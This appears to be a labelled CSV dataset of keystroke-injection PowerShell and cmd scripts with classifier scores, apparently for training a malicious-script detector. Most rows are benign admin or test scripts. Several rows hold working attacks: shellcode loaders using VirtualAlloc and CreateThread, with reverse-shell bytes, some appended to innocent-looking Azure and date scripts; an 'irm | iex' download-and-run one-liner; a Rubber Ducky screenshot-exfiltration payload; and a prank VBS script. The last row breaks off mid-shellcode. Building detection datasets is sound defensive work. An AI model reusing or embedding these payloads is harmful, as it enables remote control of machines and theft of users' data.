"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""daily_check_tn9a8wxg"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process | enter Sort-Object Handles -Descending | enter Select-Object -First 30 ProcessName, Id, StartTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_handles_30.json"") -Encoding UTF8 enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 3 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_logical_disk.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999653,3.4638746e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""asset_report_3whvyja4"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting software_inventory section 1."" enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 150 HotFixID, Description, InstalledBy, InstalledOn | enter Export-Csv -Path (Join-Path $ReportDir ""software_hotfixes.csv"") -NoTypeInformation enter Get-PnpDevice | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_pnp_devices.txt"") -Encoding UTF8 enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 150 DisplayName, Enabled, Direction, Action, Profile | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_inbound.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999653,3.4634948e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""workstation_report_8nz4pdqr"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting environment_report section 1."" enter $PSVersionTable | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_ps_version.txt"") -Encoding UTF8 enter Write-Host ""Starting device_printer_inventory section 2."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_display_devices.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4313878e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""asset_report_1s2gvawt"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process -Name ""svchost"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 15 Name, Id, CPU, WorkingSet64 | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_named_processes_15.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.394234e-05
"win+r powershell enter  [CmdletBinding(SupportsShouldProcess=$true)] param( [parameter(Mandatory=$tru enter e,HelpMessage=""Site Server where SQL Server Reporting Services are installed"")] enter [ValidateScript({Test-Connection -ComputerName $_ -Count 1})] [string]$ReportS enter erver, [parameter(Mandatory=$true,HelpMessage=""SiteCode of the Reporting Servic enter e point"")] [string]$SiteCode, [parameter(Mandatory=$false,HelpMessage=""Should enter only be specified if the default 'ConfigMgr_<sitecode>' folder is not used and a enter custom folder was created"")] [string]$RootFolderName = ""ConfigMgr"", [paramete enter r(Mandatory=$false,HelpMessage=""If specified, search is restricted to within thi enter s folder if it exists"")] [string]$FolderName, enter enter",1,1,0.008446649,0.99155337
"win+r enter powershell enter enter enter param( enter [parameter(Mandatory=$true)] enter $SiteServer, enter [parameter(Mandatory=$true)] enter $SiteCode, enter [parameter(Mandatory=$true)] enter $BootImageName, enter [parameter(Mandatory=$false)] enter [switch]$Commit enter ) enter Begin { enter Write-Output ""INFO: Querying SMS_BootImagePackage for Boot Images"" enter $BootImages = Get-WmiObject -Namespace ""root\SMS\site_$($SiteCode)"" -Class SMS_BootImagePackage -Filter ""Name like '%$($BootImageName)%'"" enter if ($BootImages -ne $null) { enter if (($BootImages | Measure-Object).Count -eq 1) { enter Write-Output ""INFO: Located $(($BootImages | Measure-Object).Count) Boot Image called '$($BootImages.Name)'"" enter } enter else { enter Write-Output ""INFO: Located $(($BootImages | Measure-Object).Count) Boot Images called:"" enter foreach ($Boot in $BootImages) { enter Write-Output ""INFO: '$($Boot.Name)'"" enter } enter } enter } enter } enter Process { enter if ($Commit) { enter foreach ($BootImage in $BootImages) { enter $BootImage = [wmi]""$($BootImage.__PATH)"" enter $BootImage.EnableLabShell = $true enter $BootImage.Put() enter } enter } enter else { enter Write-Output ""INFO: The Commit switch was not specified, will not edit any found instances"" enter } enter } enter enter",0,0,0.9999118,8.817897e-05
"win r https://fakeupdate.net/win10ue/ enter enter win r cmd enter enter mode con: cols=20 lines=1 enter enter color fe enter enter del %tmp% enter enter del %tmp%\volup.vbs enter enter cd %tmp% && copy con rickyou.vbs enter enter while true enter enter dim oplayer enter enter set oplayer = createobject(""wmplayer.ocx"") enter enter oplayer.url = ""http://tinyurl.com/s63ve48"" enter enter oplayer.controls.play enter enter while oplayer.playstate <> 1 ' 1 = stopped enter enter wscript.sleep 100 enter enter wend enter enter oplayer.close enter enter wend enter enter ctrl z enter enter copy con volup.vbs enter enter do enter enter set wshshell = createobject(""wscript.shell"") enter enter wshshell.sendkeys(chr(&haf)) enter enter loop enter enter ctrl z enter enter start rickyou.vbs && volup.vbs enter enter exit enter",1,1,0.0021233785,0.99787664
"win+r powershell enter function ConvertFrom-Bytes { param ( [string]$bytes, [string]$savepath ) $ enter dir = Split-Path $savepath if (!(Test-Path $dir)) { md $dir | Out-Null } [c enter onvert]::FromBase64String($bytes) | Set-Content $savepath -Encoding Byte enter enter",1,1,0.008163882,0.99183613
win r powershell -nop -ep bypass -w h -c irm https://raw.githubusercontent.com/beigeworm/assets/main/scripts/gdi-haunter.ps1 | iex enter,1,1,0.0004941176,0.9995059
"win+r enter powershell enter enter enter  enter function Test-DdosProtectionPlanCRUD enter { enter $rgLocation = Get-ProviderLocation ResourceManagement enter $resourceTypeParent = ""Microsoft.Network/DdosProtectionPlans"" enter $location = Get-ProviderLocation $resourceTypeParent enter enter $rgName = Get-ResourceGroupName enter $ddosProtectionPlanName = Get-ResourceName enter enter try enter { enter enter New-AzResourceGroup -Name $rgName -Location $location -Tags @{ testtag = ""ddosProtectionPlan tag"" } enter $job = New-AzDdosProtectionPlan -ResourceGroupName $rgName -Name $ddosProtectionPlanName -Location $rgLocation -AsJob enter $job | Wait-Job enter $ddosProtectionPlanNew = $job | Receive-Job enter enter Assert-AreEqual $rgName $ddosProtectionPlanNew.ResourceGroupName enter Assert-AreEqual $ddosProtectionPlanName $ddosProtectionPlanNew.Name enter Assert-NotNull $ddosProtectionPlanNew.Location enter Assert-NotNull $ddosProtectionPlanNew.Etag enter Assert-Null $ddosProtectionPlanNew.VirtualMachines enter $ddosProtectionPlanGet = Get-AzDdosProtectionPlan -ResourceGroupName $rgName -Name $ddosProtectionPlanName enter Assert-AreEqual $rgName $ddosProtectionPlanGet.ResourceGroupName enter Assert-AreEqual $ddosProtectionPlanName $ddosProtectionPlanGet.Name enter Assert-NotNull $ddosProtectionPlanGet.Location enter Assert-NotNull $ddosProtectionPlanGet.Etag enter Assert-Null $ddosProtectionPlanGet.VirtualMachines enter enter $ddosProtectionPlanList = Get-AzDdosProtectionPlan -ResourceGroupName $rgName enter Assert-NotNull $ddosProtectionPlanList enter Assert-True {$ddosProtectionPlanList.Count -ge 0} enter enter $ddosProtectionPlanList = Get-AzDdosProtectionPlan -ResourceGroupName ""*"" enter Assert-NotNull $ddosProtectionPlanList enter Assert-True {$ddosProtectionPlanList.Count -ge 0} enter enter $ddosProtectionPlanList = Get-AzDdosProtectionPlan -Name ""*"" enter Assert-NotNull $ddosProtectionPlanList enter Assert-True {$ddosProtectionPlanList.Count -ge 0} enter enter $ddosProtectionPlanList = Get-AzDdosProtectionPlan -ResourceGroupName ""*"" -Name ""*"" enter Assert-NotNull $ddosProtectionPlanList enter Assert-True {$ddosProtectionPlanList.Count -ge 0} enter $ddosProtectionPlanDelete = Remove-AzDdosProtectionPlan -Name $ddosProtectionPlanName -ResourceGroupName $rgName -PassThru enter Assert-AreEqual $true $ddosProtectionPlanDelete enter } enter finally enter { enter enter Clean-ResourceGroup $rgName enter } enter } enter function Test-DdosProtectionPlanCRUDWithVirtualNetwork enter { enter enter $rgname = Get-ResourceGroupName enter $vnetName = Get-ResourceName enter $subnetName = Get-ResourceName enter $ddosProtectionPlanName = Get-ResourceName enter $rglocation = Get-ProviderLocation ResourceManagement enter $resourceTypeParent = ""Microsoft.Network/virtualNetworks"" enter $location = Get-ProviderLocation $resourceTypeParent enter enter try enter { enter New-AzResourceGroup -Name $rgname -Location $rglocation -Tags @{ testtag = ""testval"" } enter $ddosProtectionPlan = New-AzDdosProtectionPlan -Name $ddosProtectionPlanName -ResourceGroupName $rgname -Location $location enter $subnet = New-AzVirtualNetworkSubnetConfig -Name $subnetName -AddressPrefix 10.0.1.0/24 enter $vnet = New-AzVirtualNetwork -Name $vnetName -ResourceGroupName $rgname -Location $location -AddressPrefix 10.0.0.0/16 -DnsServer 8.8.8.8 -Subnet $subnet -EnableDdoSProtection -DdosProtectionPlanId $ddosProtectionPlan.Id enter enter Assert-AreEqual true $vnet.EnableDdoSProtection enter Assert-AreEqual $ddosProtectionPlan.Id $vnet.DdosProtectionPlan.Id enter $ddosProtectionPlanWithVnet = Get-AzDdosProtectionPlan -Name $ddosProtectionPlanName -ResourceGroupName $rgname enter enter Assert-AreEqual $vnet.Id $ddosProtectionPlanWithVnet.VirtualNetworks[0].Id enter $deleteVnet = Remove-AzVirtualNetwork -ResourceGroupName $rgname -name $vnetName -PassThru -Force enter Assert-AreEqual true $deleteVnet enter $deleteDdosProtectionPlan = Remove-AzDdosProtectionPlan -ResourceGroupName $rgname -name $ddosProtectionPlanName -PassThru enter Assert-AreEqual true $deleteDdosProtectionPlan enter } enter finally enter { enter enter Clean-ResourceGroup $rgname enter } enter } enter function Test-DdosProtectionPlanCollections enter { enter $rgLocation = Get-ProviderLocation ResourceManagement enter $resourceTypeParent = ""Microsoft.Network/DdosProtectionPlans"" enter $location = Get-ProviderLocation $resourceTypeParent enter $rgName = Get-ResourceGroupName enter $ddosProtectionPlanName = Get-ResourceName enter enter try enter { enter New-AzResourceGroup -Name $rgName -Location $location -Tags @{ testtag = ""ddosProtectionPlan tag"" } enter $ddosProtectionPlan = New-AzDdosProtectionPlan -Name $ddosProtectionPlanName -ResourceGroupName $rgName -Location $rgLocation enter $listRg = Get-AzDdosProtectionPlan -ResourceGroupName $rgName enter Assert-AreEqual 1 @($listRg).Count enter Assert-AreEqual $listRg[0].ResourceGroupName $ddosProtectionPlan.ResourceGroupName enter Assert-AreEqual $listRg[0].Name $ddosProtectionPlan.Name enter Assert-AreEqual $listRg[0].Location $ddosProtectionPlan.Location enter Assert-AreEqual $listRg[0].Etag $ddosProtectionPlan.Etag enter $listSub = Get-AzDdosProtectionPlan enter enter $ddosProtectionPlanFromList = @($listSub) | Where-Object Name -eq $ddosProtectionPlanName | Where-Object ResourceGroupName -eq $rgName enter Assert-AreEqual $ddosProtectionPlan.ResourceGroupName $ddosProtectionPlanFromList.ResourceGroupName enter Assert-AreEqual $ddosProtectionPlan.Name $ddosProtectionPlanFromList.Name enter Assert-AreEqual $ddosProtectionPlan.Location $ddosProtectionPlanFromList.Location enter Assert-AreEqual $ddosProtectionPlan.Etag $ddosProtectionPlanFromList.Etag enter } enter finally enter { enter enter Clean-ResourceGroup $rgName enter } enter } enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x0b,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.177639e-05,0.99994826
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_tpsl71t2"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting network_checks section 1."" enter Get-DnsClientServerAddress | enter Select-Object InterfaceAlias, AddressFamily, ServerAddresses | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_dns_servers.json"") -Encoding UTF8 enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 100 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_enabled_tasks.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.480381e-05
win+r powershell enter EXTENSION PASSIVE_DETECT_READY enter REM VERSION 1.1 enter REM AUTHOR: Korben enter enter REM_BLOCK DOCUMENTATION enter Passive Detect Ready - no injection dynamic boot delay enter for hosts that reflect current OS lock key state on connect enter enter USAGE: enter Extension runs inline (here) enter Place at beginning of payload (besides ATTACKMODE) to act as dynamic enter boot delay enter END_REM enter enter REM CONFIGURATION: enter DEFINE #MAX_WAIT 150 enter DEFINE #CHECK_INTERVAL 20 enter enter VAR $MAX_TRIES = #MAX_WAIT enter WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0)) enter DELAY #CHECK_INTERVAL enter $MAX_TRIES = ($MAX_TRIES - 1) enter END_WHILE enter END_EXTENSION enter,1,1,6.32868e-05,0.9999367
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_7po4wk1r"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process -Name ""powershell"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 25 Name, Id, Path, Company | enter Export-Csv -Path (Join-Path $ReportDir ""process_named_processes_25.csv"") -NoTypeInformation enter",0,0,0.9999659,3.4118948e-05
"win+r powershell enter $kXY = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntP enter tr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""ke enter rnel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, enter uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFla enter gs, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr mems enter et(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $kXY -Na enter me ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xdb,0xca,0 enter xbd,0x7b,0xf3,0x34,0x4f,0xd9,0x74,0x24,0xf4,0x5a,0x29,0xc9,0xb1,0x47,0x31,0x6a,0 enter x18,0x83,0xea,0xfc,0x03,0x6a,0x6f,0x11,0xc1,0xb3,0x67,0x57,0x2a,0x4c,0x77,0x38,0 enter xa2,0xa9,0x46,0x78,0xd0,0xba,0xf8,0x48,0x92,0xef,0xf4,0x23,0xf6,0x1b,0x8f,0x46,0 enter xdf,0x2c,0x38,0xec,0x39,0x02,0xb9,0x5d,0x79,0x05,0x39,0x9c,0xae,0xe5,0x00,0x6f,0 enter xa3,0xe4,0x45,0x92,0 enter enter",1,1,5.4636566e-05,0.9999454
"win+r powershell enter  [CmdletBinding()] [OutputType('Selected.Microsoft.Management.Infrastructure.C enter imInstance')] param () process { try { Get-ScheduledTask | Select-Object TaskN enter ame,Author, @{ 'n' = 'CreationDate'; 'e' = { [datetime]$_.Date } } } catch { W enter rite-Error ""$($_.Exception.Message) - Line Number: $($_.InvocationInfo.ScriptLin enter eNumber)"" } } enter enter",1,1,0.0029973753,0.99700266
win+r powershell enter  $location = 'southeastasia' function Test-UpdateTransparentDataEncryption { enter $rg = Create-ResourceGroupForTest $server = Create-ServerForTest $rg $locati enter on $databaseName = Get-DatabaseName enter enter,1,1,0.0021764112,0.9978236
win+r powershell enter function Install-CRegistryKey { [CmdletBinding(SupportsShouldPRocess=$true)] enter param( [Parameter(Mandatory=$true)] [string] $Path ) Set-StrictMode -V enter ersion 'Latest' enter enter,1,1,0.0073271366,0.99267286
"win+r powershell enter Describe ""ConvertFrom-StringData DRT Unit Tests"" -Tags ""CI"" { enter It ""Should able to throw error when convert invalid line"" { enter $str =@"" enter abc enter def=content of def enter ""@ enter { ConvertFrom-StringData $str } | Should -Throw -ErrorId ""InvalidOperation,Microsoft.PowerShell.Commands.ConvertFromStringDataCommand"" enter } enter } enter Describe ""ConvertFrom-StringData"" -Tags ""CI"" { enter $sampleData = @' enter foo = 0 enter bar = 1 enter bazz = 2 enter '@ enter It ""Should not throw when called with just the stringdata switch"" { enter { ConvertFrom-StringData -StringData 'a=b' } | Should -Not -Throw enter } enter It ""Should return a hashtable"" { enter $result = ConvertFrom-StringData -StringData 'a=b' enter $result | Should -BeOfType Hashtable enter } enter It ""Should throw if not in x=y format"" { enter { ConvertFrom-StringData -StringData 'ab' } | Should -Throw -ErrorId ""InvalidOperation,Microsoft.PowerShell.Commands.ConvertFromStringDataCommand"" enter { ConvertFrom-StringData -StringData 'a,b' } | Should -Throw -ErrorId ""InvalidOperation,Microsoft.PowerShell.Commands.ConvertFromStringDataCommand"" enter { ConvertFrom-StringData -StringData 'a b' } | Should -Throw -ErrorId ""InvalidOperation,Microsoft.PowerShell.Commands.ConvertFromStringDataCommand"" enter { ConvertFrom-StringData -StringData 'a tab b' } | Should -Throw -ErrorId ""InvalidOperation,Microsoft.PowerShell.Commands.ConvertFromStringDataCommand"" enter { ConvertFrom-StringData -StringData 'a:b' } | Should -Throw -ErrorId ""InvalidOperation,Microsoft.PowerShell.Commands.ConvertFromStringDataCommand"" enter } enter It ""Should return the data on the left side in the key"" { enter $actualValue = ConvertFrom-StringData -StringData 'a=b' enter $actualValue.Keys | Should -BeExactly ""a"" enter } enter It ""Should return the data on the right side in the value"" { enter $actualValue = ConvertFrom-StringData -StringData 'a=b' enter $actualValue.Values | Should -BeExactly ""b"" enter } enter It ""Should return a keycollection for the keys"" { enter $(ConvertFrom-StringData -StringData 'a=b').Keys.PSObject.TypeNames[0] | Should -BeExactly ""System.Collections.Hashtable+KeyCollection"" enter } enter It ""Should return a valuecollection for the values"" { enter $(ConvertFrom-StringData -StringData 'a=b').Values.PSObject.TypeNames[0] | Should -BeExactly ""System.Collections.Hashtable+ValueCollection"" enter } enter It ""Should work for multiple lines"" { enter { ConvertFrom-StringData -StringData $sampleData } | Should -Not -Throw enter $(ConvertFrom-StringData -StringData $sampleData).Keys | Should -BeIn @(""foo"", ""bar"", ""bazz"") enter $(ConvertFrom-StringData -StringData $sampleData).Values | Should -BeIn @(""0"",""1"",""2"") enter } enter } enter Describe ""Delimiter parameter tests"" -Tags ""CI"" { enter BeforeAll { enter $TestCases = @( enter @{ Delimiter = ':'; StringData = 'value:10'; ExpectedResult = @{ value = 10 } } enter @{ Delimiter = '-'; StringData = 'a-b' ; ExpectedResult = @{ a = 'b' } } enter @{ Delimiter = ','; StringData = 'c,d' ; ExpectedResult = @{ c = 'd' } } enter ) enter } enter It ""Default delimiter '=' works"" { enter $actualValue = ConvertFrom-StringData -StringData 'a=b' enter $actualValue.Values | Should -BeExactly ""b"" enter $actualValue.Keys | Should -BeExactly ""a"" enter } enter It ""Should not throw on given delimiter"" { enter $sampleData = @"" enter a:b enter ""@ enter { $sampleData | ConvertFrom-StringData -Delimiter ':' } | Should -Not -Throw enter } enter It 'is able to parse <StringData> with delimiter ""<Delimiter> with <stringdata>""' -TestCases $TestCases { enter param($Delimiter, $StringData, $ExpectedResult) enter $Result = ConvertFrom-StringData -StringData $StringData -Delimiter $Delimiter enter $key = $ExpectedResult.Keys enter $Result.Keys | Should -BeExactly $ExpectedResult.Keys enter $Result[$key] | Should -BeExactly $ExpectedResult.Values enter } enter } enter",0,0,0.9999225,7.746848e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""admin_reports_bfruce1i"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting service_checks section 1."" enter Get-Service -Name ""*print*"" -ErrorAction SilentlyContinue | enter Sort-Object Status | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter Export-Csv -Path (Join-Path $ReportDir ""service_service_name_pattern.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999664,3.356147e-05
"win+r powershell enter DUCKY_REAL_BEGIN enter REM Title: ducky_crab enter REM Author: the-jcksn enter REM Description: Gives ""screen crab"" like capabilities to the USB rubber ducky. Creates a powershell script that captures screenshots and exfiltrates them via outlook, once a minute, even after the US enter REM Target: Windows enter REM Version: 1.0 enter REM Category: Exfiltration enter REM ~~~~ You must change USER@EXAMPLE.com and USERPASSWORD to your outlook credentials (line 45) enter REM ~~~~ Change the time for the payload to run after ducky is removed (default 10 minutes - line 38) enter REM ~~~~ DO NOT REMOVE THE RUBBER DUCKY UNTIL THE PROMPT APPEARS ON SCREEN SAYING TO DO SO, after this, the payload will run without the ducky inserted enter REM ~~~~ You might have to adjust the delays, depending on the hine, but these worked ok for me. enter REM ~~~~ Use responsibly, and within the confines of the law. enter REM opening powershell and allowing scripts enter DELAY 1000 enter REM this needs to run first seperate from the script (allows scripts to run on target) enter GUI r enter DELAY 200 enter STRING powershell enter ENTER enter DELAY 200 enter STRING Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser enter ENTER enter DELAY 200 enter REM the following line may cause an error on some systems, this can be ignored, on some systems it is REQUIRED, please do not alter this enter STRING y enter ENTER enter DELAY 400 enter REM create the powershell script enter STRING New-Item -Path 'Pictures' -Name 'screens.ps1' -ItemType file enter ENTER enter DELAY 200 enter STRING ""cd C:\Users\$env:username\ `nNew-Item -Path 'C:\Users\$env:username\Pictures\Screens\' -ItemType Directory"" | Out-File Pictures\screens.ps1 -Append enter ENTER enter DELAY 200 enter REM number of minutes to capture screenshots for - default is 10 (edit the integer to change) enter STRING ""`$timer = new-timespan -Minutes 10"" | Out-File Pictures\screens.ps1 -Append enter ENTER enter DELAY 200 enter STRING ""`$clock = [diagnostics.stopwatch]::StartNew() `nwhile (`$clock.elapsed -lt `$timer){ `n[void][reflection.assembly]::loadwithpartialname('system.windows.forms') `n`$Screen = [System.Windows.For enter ENTER enter DELAY 200 enter DUCKY_REAL_END enter",1,1,5.8434805e-05,0.9999416
"win+r enter powershell enter enter enter  enter $LastDayOfMonth = (Get-Date -Year (Get-Date).Year -Month (Get-Date).Month -Day 1 -DisplayHint Date).AddMonths(1).AddDays(-1) enter enter Write-Host ($lastDayOfMonth).Date enter $DateDiff1 = New-TimeSpan $(Get-Date -month 9 -day 29 -year 2011) $lastDayOfMonth enter $DateDiff2 = New-TimeSpan $(Get-Date -month 9 -day 28 -year 2011) $lastDayOfMonth enter $DateDiff3 = New-TimeSpan $(Get-Date -month 9 -day 27 -year 2011) $lastDayOfMonth enter $DateDiff4 = New-TimeSpan $(Get-Date -month 9 -day 26 -year 2011) $lastDayOfMonth enter enter Write-Host ($DateDiff1).days ""9-29-2011""; enter Write-Host ($DateDiff2).days ""9-28-2011""; enter Write-Host ($DateDiff3).days ""9-27-2011""; enter Write-Host ($DateDiff4).days ""9-26-2011""; enter if ((Get-Date).Day -eq 1) { enter Write-Host ""The first of the month.""; enter } enter enter if (($DateDiff.days -eq '1')) { enter Write-Host ""The date is within one day of the end of the month.""; enter } enter elseif (($DateDiff.days -eq '2')) { enter Write-Host ""The date is within two days of the end of the month.""; enter } enter elseif (($DateDiff.days -eq '3')) { enter Write-Host ""The date is within three days of the end of the month.""; enter } enter elseif (($DateDiff.days -eq '4')) { enter Write-Host ""The date is within four days of the end of the month.""; enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x91,0x81,0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x3f,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,